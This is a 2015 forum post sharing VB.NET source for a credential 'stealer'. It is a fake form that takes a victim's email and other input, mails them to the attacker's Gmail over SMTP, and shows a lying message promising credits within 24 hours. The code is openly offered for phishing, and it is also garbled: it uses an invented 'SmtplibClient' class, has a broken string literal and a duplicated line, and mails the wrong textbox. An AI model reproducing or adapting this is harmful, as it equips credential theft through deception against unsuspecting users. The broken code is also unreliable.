Thread: [\[VB.NET/ No Portforwarding\]Simple User Info stealer](#)

JoshuaSmith - May 31, 2015, 8:20 pm

Hey, HF Josh here with a vb.net open source tool to jack any user data

things need:

3 textboxes

1 button

a gmail account

2 labels (optional)

//how to set up these on your form:

Textbox1 = email

textbox2 = password

textbox3 = the key

imports:

Code Imports System.Text

Imports System.Net.Mail

add to button:

Code Dim mail As New MailMessage()

Dim SmtplibServer As New SmtplibClient

SmtplibServer.Credentials = New Net.NetworkCredential("youruserhere@gmail.com", "password here")

SmtplibServer.Port = 587

SmtplibServer.Host = "smtp.gmail.com"

SmtplibServer.EnableSsl = True

SmtplibServer.EnableSsl = True

mail.To.Add("youruserhere@gmail.com")

mail.From = New MailAddress("username@gmail.com"-t")

mail.Subject = "Hack info"

mail.Body = TextBox1.Text + " " + TextBox3.Text

SmtplibServer.Send(mail)

MessageBox.Show("Account is being processed" + vbNewLine + "and checked to see if the account is valid." + vbNewLine + "Upon account verification credits will be add in 24 hour from now", "Status!", MessageBoxButtons.OK, MessageBoxIcon.Information)

Dim s As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

Dim r As New Random

Dim sb As New StringBuilder

For i As Integer = 1 To 15

Dim idx As Integer = r.Next(0, 35)

sb.Append(s.Substring(idx, 1))

Next

TextBox3.Text = sb.ToString

For other user Pre-compiled source:

admin/mod if you could add a link for me pm as i can't srry.
